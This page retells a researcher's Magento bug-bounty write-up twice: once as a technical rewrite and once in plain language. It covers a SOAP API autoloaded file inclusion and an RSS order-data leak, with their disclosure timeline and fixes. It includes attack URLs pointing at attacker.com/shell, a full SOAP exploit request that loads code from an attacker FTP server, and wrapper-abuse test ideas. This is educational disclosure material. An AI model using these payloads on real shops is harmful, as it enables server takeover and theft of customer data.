Skip to content
RCE Write-up Advanced

Hacking Magento eCommerce For Fun And 17.000 USD

The SOAP API's product creation method passed a user-controlled string to property_exists(), triggering an autoloader that included a file path built from that string, allowing an authenticated API user to include and execute arbitrary PHP code. A separate RSS feed information disclosure let an unauthenticated attacker download order comments and related data, potentially including personal or card information.

Egidio Romano Follow

Published on karmainsecurity.com

Bounty$17,000 View original

Magento, which was acquired by Ebay Inc back in 2011, is one of the most popular e-commerce platforms written in PHP. There is an interesting bug bounty program in place that offers bounties of up to 10,000$ for Information Disclosure and Remote Code Execution vulnerabilities.

Egidio Romano / EgiX, on karmainsecurity.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

Context

Magento is one of the most popular e-commerce platforms written in PHP, acquired by eBay Inc back in 2011. At the time of writing it ran a bug bounty program offering bounties of up to 10,000$ for Information Disclosure and Remote Code Execution vulnerabilities. The two findings described here are both in Magento Community Edition: an autoloaded file inclusion reachable through the SOAP API (CVE-2015-6497), and an information disclosure in the RSS feed (CVE-2016-2212).

The first one lives in the code that handles the catalogProductCreate SOAP API call, which normally lets an API user create a catalogue product by passing a product type, an attribute set, a SKU and a block of product data. The second one is in the RSS feed.

Setup

For the SOAP issue, the preconditions are:

  1. An API user account with privileges to create a catalogue product is required.
  2. To include arbitrary files from remote locations, Magento should run on PHP before 5.4.24 or 5.5.8, because those versions fixed the issue related to invalid class names in the autoloading process.
  3. To include arbitrary files from remote locations, the allow_url_include directive must be set to On.
  4. If allow_url_include is Off, it might still be possible to include files from remote locations using the ssh2.sftp:// wrapper (which requires the SSH2 extension to be installed) or to execute arbitrary OS commands leveraging the expect:// wrapper (which requires the Expect extension to be installed).

Two further notes bound the exploitation. If Magento runs on PHP after 5.4.23 or 5.5.7, the vulnerability could still be exploited by including a local file with a .php extension, something like /tmp/test.php. If Magento runs on PHP before 5.3.4, the vulnerability could be exploited to include arbitrary local files with any extension, for example a session file containing malicious PHP code injected by the attacker, because NULL bytes are allowed within the path (CVE-2006-7243).

The RSS issue needs no account at all: it is reachable by a remote unauthenticated attacker.

Finding it

In November 2014 the researcher started looking for security bugs in Magento CE and almost immediately discovered a PHP Object Injection vulnerability which requires administrator privileges in order to be exploited. Because Magento administrators should already be able to upload and execute arbitrary code through the administration panel, the finding was not reported at first. A couple of weeks later a friend encouraged him to submit it anyway. When the report including a PoC was finished and about to be sent, the bug had already been silently patched only a few days earlier, and the researcher who reported the vulnerability had been awarded 2,500$ for the very same finding.

doh!
doh! From the original on karmainsecurity.com

In February 2015 there was a lot of rumour about research which chains several vulnerabilities in Magento that ultimately allow an unauthenticated attacker to execute arbitrary PHP code on the web server. Inspired by those vulnerabilities, the researcher came back to the Magento source code looking for new bugs and discovered two vulnerabilities, both in February 2015. Only a "potential Remote Code Execution" was reported at a first stage, because the other one, a trivial information leakage bug, was judged to have a security impact too low to be eligible for the bug bounty program. That judgement was wrong.

The reasoning behind the first bug starts from a class of vulnerabilities that might affect certain PHP applications which use an "exploitable" autoloading mechanism. The autoloading feature was introduced in PHP 5.0 with the magic function __autoload(), which is automatically called when code references a class or interface that has not been loaded yet. Instead of including every needed class by hand, it is possible to register a function that gets called as soon as the code tries to instantiate an unknown class. This function gets passed the unknown class name and is responsible for including the right file that contains the class definition. When user-controlled input is used as a class name, this can introduce Local or Remote File Inclusion vulnerabilities: if an attacker can control the class name variable passed to an autoloading function, she could play around with it in order to include an arbitrary file and execute PHP code remotely.

There are multiple ways to trigger the autoloader, the most obvious being class instantiation with the new operator. In addition, some PHP functions can be considered a sensitive sink for this class of vulnerabilities. An incomplete list:

  • class_exists()
  • interface_exists()
  • method_exists()
  • property_exists()
  • is_subclass_of()
  • ...

When user-controlled input (tainted data) enters one of these sensitive sinks there is a chance for the application to be vulnerable to an Autoloaded File Inclusion attack. A simple example of vulnerable code:

PHP
 1 /* Some code... */
 2
 3 function __autoload($class_name)
 4 {
 5    include $class\_name . '.php';
 6 }
 7
 8 if(isset($_GET['class']) && class_exists($_GET['class']))
 9 {
10    $myObject = new $_GET['class'];
11 }
12 else
13 {
14    die('No class found');
15 }
16
17 /* Some code... */

In this example an attacker controls a class name via the GET parameter class, which is first used with the class_exists() function (triggering the autoloader in case it is an unknown class) and then to instantiate a new object. The attacker therefore controls the $class_name variable passed to the autoloader, so it could be possible to include arbitrary files from both local or remote resources by invoking URLs like these:

Text
http://example.com/vuln.php?class=http://attacker.com/shell
http://example.com/vuln.php?class=../../../tmp/cache/attacker_controlled/file

In the first case the autoloader will try to include and execute the PHP code located at http://attacker.com/shell.php, resulting in a Remote File Inclusion (RFI); in the second case the autoloader will try to include and execute the PHP code located in the file /tmp/cache/attacker_controlled/file.php, resulting in a Local File Inclusion (LFI). In cases like this, where the attacker controls the classname's prefix, other PHP wrappers besides http:// might be abused in order to execute arbitrary PHP code.

According to the official PHP documentation, a valid class name starts with a letter or underscore, followed by any number of letters, numbers, or underscores. That means an attacker cannot include arbitrary files via class names because it should not be possible to use path traversal sequences (../../) through them. But there was a bug in the PHP core which allowed invoking class autoloaders with invalid class names. That bug was solved in January 2014 with the release of PHP 5.4.24 and 5.5.8, and that is probably one of the reasons why Magento's security engineers undervalued the issue.

Exploitation

Step 1: reach the autoloader through catalogProductCreate

The vulnerability in Magento is caused by the code that handles the catalogProductCreate SOAP API call. The vulnerable code is located in /app/code/core/Mage/Catalog/Model/Product/Api/V2.php:

PHP
 1    public function create($type, $set, $sku, $productData, $store = null)
 2    {
 3        if (!$type || !$set || !$sku) {
 4            $this->_fault('data_invalid');
 5        }
 6
 7        $this->_checkProductTypeExists($type);
 8        $this->_checkProductAttributeSet($set);
 9
10        /** @var $product Mage_Catalog_Model_Product */
11        $product = Mage::getModel('catalog/product');
12        $product->setStoreId($this->_getStoreId($store))
13            ->setAttributeSetId($set)
14            ->setTypeId($type)
15            ->setSku($sku);
16
17        if (!property_exists($productData, 'stock_data')) {
18            //Set default stock_data if not exist in product data
19            $_stockData = array('use_config_manage_stock' => 0);
20            $product->setStockData($_stockData);
21        }

This method expects the $productData parameter to be an array (in the form of a stdClass object) and uses the property_exists() function with it. An attacker can manipulate a SOAP request arbitrarily and send the $productData parameter in the form of a string. In this case, if the string passed to property_exists() is an unknown class, any registered autoloader function will be triggered. When property_exists() is called there is only one autoloader function registered, the Varien_Autoload::autoload() method:

PHP
 1    public function autoload($class)
 2    {
 3        if ($this->_collectClasses) {
 4            $this->_arrLoadedClasses[self::$_scope][] = $class;
 5        }
 6        if ($this->_isIncludePathDefined) {
 7            $classFile =  COMPILER_INCLUDE_PATH . DIRECTORY_SEPARATOR . $class;
 8        } else {
 9            $classFile = str_replace(' ', DIRECTORY_SEPARATOR, ucwords(str_replace('_', ' ', $class)));
10        }
11        $classFile.= '.php';
12        //echo $classFile;die();
13        return include $classFile;
14    }

In such a scenario, the $class parameter automatically passed to this method is exactly the same string value sent through the $productData parameter from the SOAP request, which after some replacements and a .php string appended to it is used in a call to the include() function. This may result in an arbitrary file inclusion, both from local or remote resources, and could be exploited to include and execute arbitrary PHP code.

Step 2: send the malicious SOAP request

A remote attacker with valid API credentials could send a SOAP request like the following in order to exploit the vulnerability:

HTTP
POST /magento/index.php/api/v2_soap HTTP/1.0
Host: localhost
Content-Length: 804
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="urn:Magento" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns1:catalogProductCreate>
<sessionId xsi:type="xsd:string">VALID_SESSION</sessionId>
<type xsi:type="xsd:string">simple</type>
<set xsi:type="xsd:string">4</set>
<sku xsi:type="xsd:string">test</sku>
<productData xsi:type="xsd:base64Binary">[redacted]=</productData>
<storeView xsi:nil="true"/>
</ns1:catalogProductCreate>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

The productData parameter has been encoded in base64 within the SOAP request, and the decoded string is the following:

Text
ftp://attacker:[redacted]/home/attacker/evil

This means that, leveraging the ftp:// wrapper, an attacker might be able to force Magento to load and execute malicious code from an FTP server under their control. In this example the attacker only has to put the malicious code under /home/attacker/evil.php. Other PHP wrappers might be abused as well, potentially leading to direct arbitrary PHP code execution.

Step 3: report, get rejected, get paid

The vulnerability was reported in late February 2015. The first reply from the Magento Security Team arrived on June 23, 2015, stating that the submission was not eligible for the bug bounty program because it was found to be invalid and not actionable. The reason for the rejection was that there are too many requirements to exploit the vulnerability, first of all that it requires Magento to be running on outdated PHP versions, because this kind of vulnerability had been fixed in the PHP core engine at the beginning of 2014. The author notes that many websites were still using such outdated PHP versions. On June 25 the Magento Security Team replied:

We were able to confirm your issue. Even though it requires knowing API credentials, it should not be possible to execute such actions. The PHP versions that are additionally vulnerable, while old are still used in popular distributions like RHEL 7.1. We will schedule fixing this issue for our next product release given lower priority. We will inform you regarding possible awards associated with this report.

On August 4, 2015 a bundle of patches (SUPEE-6482), which resolved several security-related issues including the one reported in February, was released by the Magento team. On the same day Magento released new versions (Community Edition [redacted] and Enterprise Edition [redacted]) that include SUPEE-6482 along with other security patches. On August 13 an email was sent asking whether there was any chance to get a bounty for reporting such a vulnerability. After two more pings, the reply came on August 25:

Hello Egidio, Congratulations! Your vulnerability report and proof of concept have been accepted and you will be receiving a bounty of USD $8,000.

KIS-2015-04 was published on September 11, 2015 and the bug bounty was received on September 21, 2015.

Step 4: the RSS feed information disclosure

In late October 2015 the researcher remembered the information leakage bug discovered back in February and wondered why not try to report it as well. What was missing was crucial: leveraging this vulnerability, a remote unauthenticated attacker might be able to download order comments and other order-related information, potentially including Personally Identifiable Information or credit card data.

The vulnerability was reported on October 29, 2015, including a Proof of Concept code and a proposed patch, which is exactly the same one they used to fix the issue. The Magento Security Team replied the very same day:

Hello Egidio, Thank you for your submission. We have logged ticket APPSEC-1171 to track this issue. We will reach out to you once our security engineers have validated this issue. Per the Magento Responsible Disclosure Guidelines, we ask that you do not disclose your finding to the public or to the media while we validate your submission with our security engineers.

After some months of silence, on a Sunday afternoon, it was noticed that some days earlier, specifically on January 20, 2016, the Magento team had released SUPEE-7405 and new Magento versions which include fixes for several security-related issues, including "Information Disclosure in RSS feed - APPSEC-1171". Another email asked whether there was any chance to get a bounty for reporting such a vulnerability. The reply came on February 1, 2016:

Hello Egidio, Congratulations! Your vulnerability report and proof of concept have been accepted and you will be receiving a bounty of USD $9,000.

The bug bounty was received on February 12, 2016 and KIS-2016-02 was published on February 23, 2016. That very same day, only a few hours before the advisory was published on the website, SUPEE-7405 v1.1 was pushed.

Root cause

The SOAP issue is an autoloaded file inclusion. [redacted]::create() assumes $productData is an object and calls property_exists($productData, 'stock_data') on it. A SOAP client can send productData as a string instead, and when that string names an unknown class, property_exists() triggers the registered autoloader. Varien_Autoload::autoload() takes the class name, replaces underscores with spaces, applies ucwords(), replaces the spaces back with directory separators, appends .php and passes the result to include(). Because the attacker controls the whole string, the result is an arbitrary file inclusion from local or remote resources.

The existing defence was the PHP rule that a valid class name starts with a letter or underscore followed by letters, numbers or underscores, which should have made path traversal sequences and URLs impossible inside class names. A bug in the PHP core allowed invoking class autoloaders with invalid class names; it was fixed in PHP 5.4.24 and 5.5.8 in January 2014. That fix is why the issue only yields remote inclusion on older PHP versions, and why Magento's security engineers undervalued it. On newer PHP the inclusion is still possible for local files with a .php extension, and on PHP before 5.3.4 NULL bytes allow including local files with any extension.

For the RSS issue, the report does not describe the vulnerable code; what it establishes is that the feed lets a remote unauthenticated attacker download order comments and other order-related information.

Impact

With valid API credentials and a Magento instance on an affected PHP version, an attacker can make the server include and execute PHP code from a remote FTP server under their control, or from other wrappers, potentially leading to direct arbitrary PHP code execution. Where remote inclusion is not available, local files with a .php extension can still be included, and on very old PHP versions local files with any extension, such as a session file holding injected PHP code. The report hedges the outcome as "might be able to" force Magento to load and execute malicious code, and as "potentially" leading to direct arbitrary PHP code execution.

The RSS issue is worse in reach: no authentication is needed, and the exposed data can include order comments and other order-related information, potentially including Personally Identifiable Information or credit card data.

Fix

SUPEE-6482, released on August 4, 2015, resolved several security issues including the one reported in February, alongside Community Edition [redacted] and Enterprise Edition 1.14.2.1. SUPEE-7405, released on January 20, 2016, with new Magento versions, includes fixes for several security issues including "Information Disclosure in RSS feed - APPSEC-1171"; the researcher's proposed patch was exactly the same one used to fix it. SUPEE-7405 v1.1 followed on February 23, 2016.

Variants to test

  1. Other SOAP or API methods that pass user-controlled values into property_exists(), class_exists(), interface_exists(), method_exists() or is_subclass_of(). A positive result is an autoloader being triggered with a string you supplied, visible as an inclusion attempt or an error naming your string.
  2. Sending a parameter that the code expects to be an object as a plain string, as done here with productData. A positive result is a type confusion that reaches a sensitive sink instead of a validation error.
  3. Autoloader implementations that transform the class name before include(), for example replacing separators or appending an extension. A positive result is a traversal sequence or wrapper prefix surviving the transformation into the included path.
  4. Wrapper abuse when allow_url_include is Off: try ssh2.sftp:// where the SSH2 extension is present, and expect:// where the Expect extension is present. A positive result is a file being fetched or a command being executed.
  5. On PHP after 5.4.23 or 5.5.7, try including a local file with a .php extension such as /tmp/test.php; on PHP before 5.3.4, try a NULL byte to include a local file with any extension, for example a session file containing injected PHP code. A positive result is execution of the included content.
  6. Unauthenticated feed endpoints that expose order data. A positive result is order comments or other order-related information, potentially including PII or card data, returned without any session.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

What happened, in plain words

Magento is a piece of software that shops use to run their online stores. It is written in a programming language called PHP, and it was bought by eBay in 2011. At the time of this story, Magento ran a bug bounty programme: a scheme where a company pays people for finding and reporting security mistakes in its software. Magento offered up to 10,000$ for two kinds of problems, information disclosure (private data leaking out) and remote code execution (an outsider getting the server to run their code).

This article covers two mistakes found in Magento Community Edition. The first one lets someone who has a valid API account make the server load and run a file, which is called an autoloaded file inclusion (CVE-2015-6497), under certain PHP and configuration conditions. The second one might let anyone at all, with no account, download order information from the shop's RSS feed (CVE-2016-2212). The author was paid 8,000$ for the first and 9,000$ for the second, 17,000$ in total.

The background: how the author got here

In November 2014 the author started looking for security bugs in Magento Community Edition. Almost straight away he found a PHP Object Injection vulnerability. That is a class of bug where an attacker can smuggle a crafted object into the application and make it do something it was not meant to do. This particular one needed administrator privileges to exploit. An administrator of a Magento shop can already upload and run code through the admin panel, so the author decided not to report it: the bug did not give an attacker anything an admin did not already have.

A couple of weeks later a friend encouraged him to submit it anyway, because you never know. He wrote the report, including a PoC (proof of concept, a small demonstration that the bug really works), and when he was about to send it he noticed the bug had already been silently patched a few days earlier. Silently means the fix went out without any public announcement tying it to a security problem. The researcher who had reported the same finding was awarded 2,500$.

doh!
doh! From the original on karmainsecurity.com

In February 2015 there was a lot of rumour about research that chained several vulnerabilities in Magento together, so that an attacker with no account at all could run PHP code on the web server. Chaining means using one small weakness to reach the next, like a series of doors each opened by the key from the previous room. Inspired by that work, the author went back to the Magento source code (the human-readable text the program is built from) looking for new bugs. He found two, both in February 2015.

At first he reported only one of them, the one he described as a potential remote code execution. The other was a trivial information leakage bug, meaning private information leaking out in a way that looked minor. He judged its security impact too low to qualify for the bounty programme. He was wrong.

The idea behind the first bug: autoloading

To follow the first bug you need one idea from PHP: autoloading.

A big PHP application is split into many small files, each defining a class. A class is a reusable blueprint for a thing the program works with, for example a product or a customer. Normally the programmer has to tell PHP to read each file before using the class inside it. Autoloading saves that work. PHP 5.0 introduced a magic function called __autoload(), which PHP calls automatically whenever the code mentions a class that has not been loaded yet. The function receives the name of the missing class and is responsible for finding and reading the right file.

Think of a librarian: instead of you fetching every book before you start reading, you ask for a title and the librarian goes and gets it. That is convenient, but it becomes dangerous if the title you ask for is chosen by a stranger. If the librarian will fetch any title you name, including one from another building, you can make the librarian bring back something you were never meant to have.

That is the shape of the bug. When user-controlled input is used as a class name, an attacker can choose what gets loaded. If the attacker can control the class name passed to an autoloading function, they can try to make it load an arbitrary file and run PHP code from it. This is called a Local File Inclusion (LFI) when the file is on the same server, and a Remote File Inclusion (RFI) when the file is fetched from somewhere else on the internet.

There are several ways to make PHP ask for a class it does not know. The most obvious is creating a new object with the new operator. Some PHP functions also trigger the autoloader when they are handed a class name they do not recognise. The author calls these sensitive sinks: places where input flows into something that can cause loading. An incomplete list:

  • class_exists()
  • interface_exists()
  • method_exists()
  • property_exists()
  • is_subclass_of()
  • ...

When user-controlled input (tainted data, meaning data that came from outside and was never checked) reaches one of these sinks, the application may be vulnerable to an Autoloaded File Inclusion attack. Here is a simple example of vulnerable code:

PHP
 1 /* Some code... */
 2
 3 function __autoload($class_name)
 4 {
 5    include $class\_name . '.php';
 6 }
 7
 8 if(isset($_GET['class']) && class_exists($_GET['class']))
 9 {
10    $myObject = new $_GET['class'];
11 }
12 else
13 {
14    die('No class found');
15 }
16
17 /* Some code... */

Line by line:

  • Lines 1 and 17 are placeholders for the rest of the program.
  • Lines 3 to 6 define the autoloader. It takes the missing class name, appends .php to it, and uses include to read that file. include is the PHP instruction that pulls a file into the running program, and if the file contains PHP code, that code runs.
  • Line 8 checks two things: that the browser sent a value named class in the URL (that is what $_GET holds), and that class_exists() recognises it. If the class is unknown, class_exists() triggers the autoloader, which reads a file named after the value.
  • Line 10 then creates a new object of that class.
  • Lines 12 to 15 handle the case where no class was supplied, printing a short message and stopping.

In this example the attacker controls the class name through the class parameter in the URL. That value is used first with class_exists() and then to create an object, so the attacker controls the $class_name variable passed to the autoloader. That makes it possible to include arbitrary files, local or remote, by requesting URLs like these:

Text
http://example.com/vuln.php?class=http://attacker.com/shell
http://example.com/vuln.php?class=../../../tmp/cache/attacker_controlled/file

In the first URL the autoloader tries to include and run the PHP code at http://attacker.com/shell.php, which is a Remote File Inclusion. In the second it tries to include and run the PHP code in the file /tmp/cache/attacker_controlled/file.php, which is a Local File Inclusion. The ../ sequences are path traversal: each one means go up one folder, so the attacker can walk out of the intended directory. When the attacker controls the beginning of the class name, other PHP wrappers besides http:// can be abused to run arbitrary PHP code. A wrapper is a prefix such as http:// or ftp:// that tells PHP how to fetch a file.

There is a rule that should have prevented all this. According to the official PHP documentation, a valid class name starts with a letter or underscore, followed by any number of letters, numbers or underscores. If that rule were enforced, an attacker could not put path traversal sequences like ../../ or a URL into a class name. But there was a bug in PHP itself that allowed class autoloaders to be called with invalid class names. It was fixed in January 2014 with the release of PHP 5.4.24 and 5.5.8. That fix is probably one of the reasons Magento's security engineers undervalued the issue.

How the first bug works in Magento

Step 1: reaching the autoloader through a product-creation call

The bug is in the code that handles the catalogProductCreate SOAP API call. An API is a way for one program to talk to another over the network, without a human clicking through pages. SOAP is a particular style of API where the messages are formatted as XML, a text format built from tags in angle brackets. This call normally lets an API user create a catalogue product by sending a product type, an attribute set, a SKU and a block of product data. A SKU is the shop's internal code for a product, and an attribute set is a group of product fields such as colour or size.

The vulnerable code is in /app/code/core/Mage/Catalog/Model/Product/Api/V2.php:

PHP
 1    public function create($type, $set, $sku, $productData, $store = null)
 2    {
 3        if (!$type || !$set || !$sku) {
 4            $this->_fault('data_invalid');
 5        }
 6
 7        $this->_checkProductTypeExists($type);
 8        $this->_checkProductAttributeSet($set);
 9
10        /** @var $product Mage_Catalog_Model_Product */
11        $product = Mage::getModel('catalog/product');
12        $product->setStoreId($this->_getStoreId($store))
13            ->setAttributeSetId($set)
14            ->setTypeId($type)
15            ->setSku($sku);
16
17        if (!property_exists($productData, 'stock_data')) {
18            //Set default stock_data if not exist in product data
19            $_stockData = array('use_config_manage_stock' => 0);
20            $product->setStockData($_stockData);
21        }

Line by line:

  • Line 1 is the function that handles the call. It receives the product type, attribute set, SKU, product data and an optional store.
  • Lines 3 to 5 reject the request if the type, set or SKU is missing.
  • Lines 7 and 8 check that the product type and attribute set exist.
  • Lines 11 to 15 build a new product object and fill in the store, attribute set, type and SKU.
  • Line 17 is the important one. property_exists() asks whether the product data contains a field called stock_data. The code expects $productData to be an array, in the form of a stdClass object, which is PHP's generic empty object.
  • Lines 18 to 20 set a default stock configuration when the field is absent.

An attacker can craft the SOAP request however they like and send $productData as a plain string instead of an object. When that string is an unknown class name, property_exists() triggers the autoloader. At that moment only one autoloader is registered, the Varien_Autoload::autoload() method:

PHP
 1    public function autoload($class)
 2    {
 3        if ($this->_collectClasses) {
 4            $this->_arrLoadedClasses[self::$_scope][] = $class;
 5        }
 6        if ($this->_isIncludePathDefined) {
 7            $classFile =  COMPILER_INCLUDE_PATH . DIRECTORY_SEPARATOR . $class;
 8        } else {
 9            $classFile = str_replace(' ', DIRECTORY_SEPARATOR, ucwords(str_replace('_', ' ', $class)));
10        }
11        $classFile.= '.php';
12        //echo $classFile;die();
13        return include $classFile;
14    }

Line by line:

  • Line 1 receives the class name in $class.
  • Lines 3 to 5 optionally record the name in a list of loaded classes.
  • Lines 6 to 8 handle a special configuration where the file path is built from a fixed include path plus the class name.
  • Line 9 is the normal path. It replaces underscores with spaces, capitalises the first letter of each word with ucwords(), then replaces the spaces with directory separators. So a class name becomes a file path.
  • Line 11 appends .php to the result.
  • Line 12 is a commented-out debug line, which does nothing.
  • Line 13 reads the file with include and returns the result.

The $class value passed to this method is exactly the string the attacker sent as productData. After the replacements and the appended .php, it is handed to include(). That can result in an arbitrary file inclusion, local or remote, and can be used to include and run arbitrary PHP code.

Step 2: sending the malicious request

A remote attacker with valid API credentials could send a SOAP request like this one:

HTTP
POST /magento/index.php/api/v2_soap HTTP/1.0
Host: localhost
Content-Length: 804
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="urn:Magento" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns1:catalogProductCreate>
<sessionId xsi:type="xsd:string">VALID_SESSION</sessionId>
<type xsi:type="xsd:string">simple</type>
<set xsi:type="xsd:string">4</set>
<sku xsi:type="xsd:string">test</sku>
<productData xsi:type="xsd:base64Binary">[redacted]=</productData>
<storeView xsi:nil="true"/>
</ns1:catalogProductCreate>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Line by line:

  • The first line says this is a POST request, meaning data is being sent to the server, to the path /magento/index.php/api/v2_soap.
  • Host: localhost names the server being contacted. Content-Length: 804 says how many bytes of body follow. Connection: close asks the server to close the connection after replying.
  • The XML block is the SOAP message. The Envelope and Body tags are the standard SOAP wrapper.
  • ns1:catalogProductCreate names the operation being called.
  • sessionId carries a session identifier, a value that proves the caller is logged in. It is shown here as VALID_SESSION; in a real attack it would be a real session value.
  • type, set and sku are the ordinary product fields: a simple product, attribute set number 4, SKU test.
  • productData is the field that should hold the product data object. Here it is declared as base64Binary, meaning the value is binary data written in base64, a way of representing bytes using ordinary letters and digits. The value is the encoded string.
  • storeView is empty.

The productData value is base64, and the decoded string is:

Text
ftp://attacker:[redacted]/home/attacker/evil

So by using the ftp:// wrapper, an attacker might be able to force Magento to load and run malicious code from an FTP server under their control. FTP is an old protocol for transferring files. In this example the attacker only has to place the malicious code at /home/attacker/evil.php. Other PHP wrappers might be abused too, potentially leading to direct arbitrary PHP code execution.

Step 3: report, rejection, payment

The vulnerability was reported in late February 2015. The first reply from the Magento Security Team came on June 23, 2015, saying the submission was not eligible for the bug bounty programme because it was invalid and not actionable. The reason given was that there were too many requirements to exploit it, first of all that it needed Magento to run on outdated PHP versions, since this kind of bug had been fixed in PHP itself at the beginning of 2014. The author notes that many websites were still using those outdated versions. On June 25 the team replied:

We were able to confirm your issue. Even though it requires knowing API credentials, it should not be possible to execute such actions. The PHP versions that are additionally vulnerable, while old are still used in popular distributions like RHEL 7.1. We will schedule fixing this issue for our next product release given lower priority. We will inform you regarding possible awards associated with this report.

On August 4, 2015 Magento released a bundle of patches called SUPEE-6482, which fixed several security issues including this one. A patch is a small update that changes part of the software. The same day Magento released new versions, Community Edition [redacted] and Enterprise Edition [redacted], which include SUPEE-6482 along with other security patches. On August 13 the author emailed to ask whether there was any chance of a bounty. After two more reminders, the reply came on August 25:

Hello Egidio, Congratulations! Your vulnerability report and proof of concept have been accepted and you will be receiving a bounty of USD $8,000.

The advisory KIS-2015-04 was published on September 11, 2015, and the bounty was received on September 21, 2015. An advisory is the public write-up of a fixed vulnerability.

Step 4: the RSS feed information disclosure

In late October 2015 the author remembered the information leakage bug he had found back in February and wondered why not try to report it too. What he had missed was crucial: with this bug, a remote attacker with no account at all might be able to download order comments and other order-related information, potentially including Personally Identifiable Information (PII, data that identifies a person, such as a name or address) or credit card data.

He reported it on October 29, 2015, including a proof of concept and a proposed patch, which turned out to be exactly the one Magento used to fix the issue. The Magento Security Team replied the same day:

Hello Egidio, Thank you for your submission. We have logged ticket APPSEC-1171 to track this issue. We will reach out to you once our security engineers have validated this issue. Per the Magento Responsible Disclosure Guidelines, we ask that you do not disclose your finding to the public or to the media while we validate your submission with our security engineers.

After some months of silence, on a Sunday afternoon, the author noticed that a few days earlier, on January 20, 2016, Magento had released SUPEE-7405 and new versions fixing several security issues, including "Information Disclosure in RSS feed - APPSEC-1171". He sent another email asking whether there was any chance of a bounty. The reply came on February 1, 2016:

Hello Egidio, Congratulations! Your vulnerability report and proof of concept have been accepted and you will be receiving a bounty of USD $9,000.

The bounty was received on February 12, 2016, and KIS-2016-02 was published on February 23, 2016. That very same day, only a few hours before the advisory went up on the website, SUPEE-7405 v1.1 was pushed out.

Why the bugs worked

The first bug is an autoloaded file inclusion. [redacted]::create() assumes $productData is an object and calls property_exists($productData, 'stock_data') on it. A SOAP client can send productData as a string instead, and when that string names an unknown class, property_exists() triggers the registered autoloader. Varien_Autoload::autoload() takes the class name, replaces underscores with spaces, applies ucwords(), replaces the spaces back with directory separators, appends .php and passes the result to include(). Because the attacker controls the whole string, the result is an arbitrary file inclusion from local or remote resources.

The defence that should have stopped it was the PHP rule that a valid class name starts with a letter or underscore followed by letters, numbers or underscores, which should have made path traversal sequences and URLs impossible inside class names. A bug in PHP itself allowed class autoloaders to be called with invalid class names. It was fixed in PHP 5.4.24 and 5.5.8 in January 2014. That fix is why the issue only gives remote inclusion on older PHP versions, and why Magento's security engineers undervalued it. On newer PHP the inclusion is still possible for local files with a .php extension, and on PHP before 5.3.4 a NULL byte (a zero byte that can cut a string short) allows including local files with any extension.

For the RSS issue, the report does not describe the vulnerable code. What it establishes is that the feed lets a remote unauthenticated attacker download order comments and other order-related information.

What the impact was

With valid API credentials and a Magento instance on an affected PHP version, an attacker can make the server include and run PHP code from a remote FTP server under their control, or from other wrappers, potentially leading to direct arbitrary PHP code execution. Where remote inclusion is not available, local files with a .php extension can still be included, and on very old PHP versions local files with any extension, such as a session file holding injected PHP code. The report hedges the outcome as "might be able to" force Magento to load and run malicious code, and as "potentially" leading to direct arbitrary PHP code execution.

The RSS issue is worse in reach: no authentication is needed, and the exposed data can include order comments and other order-related information, potentially including PII or credit card data.

How the bugs were fixed

SUPEE-6482, released on August 4, 2015, resolved several security issues including this one, alongside Community Edition [redacted] and Enterprise Edition 1.14.2.1. SUPEE-7405, released on January 20, 2016, with new Magento versions, includes fixes for several security issues including "Information Disclosure in RSS feed - APPSEC-1171"; the author's proposed patch was exactly the same one used to fix it. SUPEE-7405 v1.1 followed on February 23, 2016.

Things to test for similar bugs

  1. Other SOAP or API methods that pass user-controlled values into property_exists(), class_exists(), interface_exists(), method_exists() or is_subclass_of(). A positive result is an autoloader being triggered with a string you supplied, visible as an inclusion attempt or an error naming your string.
  2. Sending a parameter that the code expects to be an object as a plain string, as done here with productData. A positive result is a type confusion that reaches a sensitive sink instead of a validation error.
  3. Autoloader implementations that transform the class name before include(), for example replacing separators or appending an extension. A positive result is a traversal sequence or wrapper prefix surviving the transformation into the included path.
  4. Wrapper abuse when allow_url_include is Off: try ssh2.sftp:// where the SSH2 extension is present, and expect:// where the Expect extension is present. A positive result is a file being fetched or a command being run.
  5. On PHP after 5.4.23 or 5.5.7, try including a local file with a .php extension such as /tmp/test.php; on PHP before 5.3.4, try a NULL byte to include a local file with any extension, for example a session file containing injected PHP code. A positive result is execution of the included content.
  6. Unauthenticated feed endpoints that expose order data. A positive result is order comments or other order-related information, potentially including PII or card data, returned without any session.

Glossary

  • API: a way for one program to talk to another over the network, without a human clicking through pages.
  • Advisory: the public write-up of a fixed vulnerability.
  • Attribute set: a group of product fields such as colour or size.
  • Autoloading: PHP's habit of automatically finding and reading the file for a class the first time the code mentions it.
  • Base64: a way of representing bytes using ordinary letters and digits.
  • Bug bounty programme: a scheme where a company pays people for finding and reporting security mistakes in its software.
  • Chaining: using one small weakness to reach the next, like a series of doors each opened by the key from the previous room.
  • Class: a reusable blueprint for a thing the program works with, for example a product or a customer.
  • CVE: a public identifier for a known security vulnerability.
  • FTP: an old protocol for transferring files.
  • Information disclosure: private data leaking out to someone who should not see it.
  • LFI (Local File Inclusion): making the server read and run a file that is already on the same server.
  • NULL byte: a zero byte that can cut a string short.
  • Patch: a small update that changes part of the software.
  • Path traversal: using ../ sequences to walk out of the intended folder.
  • PHP: the programming language Magento is written in.
  • PHP Object Injection: a class of bug where an attacker smuggles a crafted object into the application and makes it do something it was not meant to do.
  • PII (Personally Identifiable Information): data that identifies a person, such as a name or address.
